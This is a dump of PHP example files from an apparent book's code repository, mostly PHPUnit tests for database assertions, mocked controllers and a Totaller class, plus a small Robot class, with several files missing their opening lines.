47 | $expected_row_count = 2;
48 | $actual_row_count = $this->getConnection()->getRowCount('table_name');
49 | $this->assertEquals($expected_row_count, $actual_row_count);
50 |
51 | // asserting table / query result set equality
52 | $expected_table = $this->createMySQLXMLDataSet('/path/to/expected_table.xml')
53 | ->getTable('table_name');
54 | $actual_table = $this->getConnection()->createQueryTable('table_name',
55 | 'SELECT * FROM table_name WHERE ...');
56 | $this->assertTablesEqual($expected_table, $actual_table);
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/chapter_07/tests/DatabaseTester.php:
--------------------------------------------------------------------------------
1 | createDefaultDBConnection($pdo, 'database_name');
11 | }
12 |
13 | /**
14 | * @return PHPUnit_Extensions_Database_DataSet_IDataSet
15 | */
16 | public function getDataSet()
17 | {
18 | return $this->createFlatXMLDataSet(dirname(__FILE__) . '/_files/seed.xml');
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/chapter_07/tests/FooSeleniumTestCase.php:
--------------------------------------------------------------------------------
1 | databaseTester = new My_DatabaseTester();
14 | $this->databaseTester->onSetUp();
15 |
16 | $this->open('/foo');
17 | // ...
18 | }
19 |
20 | protected function tearDown()
21 | {
22 | parent::tearDown();
23 | $this->databaseTester->onTearDown();
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/chapter_07/tests/FooTest.php:
--------------------------------------------------------------------------------
1 | controller = new My_Controller_Foo();
9 | }
10 |
11 | public function testActionGet()
12 | {
13 | $fooId = '1';
14 | $fooData = array('bar' => 'baz');
15 | $response = 'bar = baz';
16 |
17 | $fooModel = $this->getMock('My_Model_Foo');
18 | $fooModel->expects($this->once())
19 | ->method('get')
20 | ->with($fooId)
21 | ->will($this->returnValue($fooData));
22 | $this->controller->setFooModel($fooModel);
23 |
24 | $view = $this->getMock('My_View');
25 | $view->expects($this->once())
26 | ->method('assign')
27 | ->with($fooData);
28 | $view->expects($this->once())
29 | ->method('render')
30 | ->with('path/to/template')
31 | ->will($this->returnValue($response));
32 | $this->controller->setView($view);
33 |
34 | $params = array('fooId' => $fooId);
35 | $this->assertEquals($response, $this->controller->action($params));
36 | }
37 | }
38 | ?>
--------------------------------------------------------------------------------
/chapter_07/tests/TestCase.php:
--------------------------------------------------------------------------------
1 | loadHTML($html);
8 | $xpath = new DOMXPath($doc);
9 | return ($xpath->query($expr)->length > 0);
10 | }
11 | }
12 | ?>
--------------------------------------------------------------------------------
/chapter_07/tests/TotallerBehavioralTest.php:
--------------------------------------------------------------------------------
1 | getMock('My_Calculator');
13 | $world['calculator']
14 | ->expects($this->any())
15 | ->method('add')
16 | ->will($this->returnCallback(array($this, 'calculatorAdd')));
17 | $world['totaller'] = new My_Totaller();
18 | $world['totaller']->setCalculator($world['calculator']);
19 | break;
20 | default:
21 | return $this->notImplemented($action);
22 | }
23 | }
24 |
25 | public function calculatorAdd($a, $b)
26 | {
27 | static $sums = array(
28 | '0+2' => 2,
29 | '0+-1' => -1,
30 | '2+3' => 5,
31 | '2+0' => 2,
32 | '-1+1' => 0,
33 | );
34 |
35 | $eqn = “$a+$b”;
36 | if (isset($sums[$eqn]))
37 | {
38 | return $sums[$eqn];
39 | }
40 |
41 | $this->fail(“No known output for calculator inputs: $a, $b”);
42 | }
43 |
44 | public function runWhen(&$world, $action, $arguments)
45 | {
46 | switch ($action)
47 | {
48 | case 'Totaller receives operand':
49 | $world['totaller']->addOperand($arguments[0]);
50 | break;
51 | default:
52 | return $this->notImplemented($action);
53 | }
54 | }
55 |
56 | public function runThen(&$world, $action, $arguments)
57 | {
58 | switch ($action)
59 | {
60 | case 'Total should be':
61 | $this->assertEquals($arguments[0], $world['totaller']->calculateTotal());
62 | break;
63 | default:
64 | return $this->notImplemented($action);
65 | }
66 | }
67 |
68 | /**
69 | * @scenario
70 | */
71 | public function sumOfTwoPositiveNumbersIsPositive()
72 | {
73 | $this
74 | ->given('New totaller')
75 | ->when('Totaller receives operand', 2)
76 | ->and('Totaller receives operand', 3)
77 | ->then('Total should be', 5);
78 | }
79 |
80 | /**
81 | * @scenario
82 | */
83 | public function sumOfAPositiveNumberAndZeroIsPositive()
84 | {
85 | $this
86 | ->given('New totaller')
87 | ->when('Totaller receives operand', 2)
88 | ->and('Totaller receives operand', 0)
89 | ->then('Total should be', 2);
90 | }
91 |
92 | /**
93 | * @scenario
94 | */
95 | public function sumOfEqualPositiveAndNegativeNumbersIsZero()
96 | {
97 | $this
98 | ->given('New totaller')
99 | ->when('Totaller receives operand', -1)
100 | ->and('Totaller receives operand', 1)
101 | ->then('Total should be', 0);
102 | }
103 | }
104 |
--------------------------------------------------------------------------------
/chapter_07/tests/TotallerTest.php:
--------------------------------------------------------------------------------
1 | calculator = $this->getMock('My_Calculator');
13 | $this->totaller = new My_Totaller;
14 | $this->totaller->setCalculator($this->calculator);
15 | }
16 |
17 | public function testCalculateTotal()
18 | {
19 | $this->calculator
20 | ->expects($this->at(0))
21 | ->method('add')
22 | ->with(0, 1)
23 | ->will($this->returnValue(1));
24 | $this->calculator
25 | ->expects($this->at(1))
26 | ->method('add')
27 | ->with(1, 2)
28 | ->will($this->returnValue(3));
29 | $this->calculator
30 | ->expects($this->at(2))
31 | ->method('add')
32 | ->with(3, 3)
33 | ->will($this->returnValue(6));
34 | $this->totaller->addOperand(1);
35 | $this->totaller->addOperand(2);
36 | $this->totaller->addOperand(3);
37 | $this->assertEquals(6, $this->totaller->calculateTotal());
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/chapter_07/tests/phpunit.xml:
--------------------------------------------------------------------------------
1 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/chapter_08/Robot.php:
--------------------------------------------------------------------------------
1 | x += $xmove;
15 | }
16 | if($ymove != 0) {
17 | $this->y += $ymove;
18 | }
19 | return true;
20 | }
21 |
22 | }
23 | ?>
--------------------------------------------------------------------------------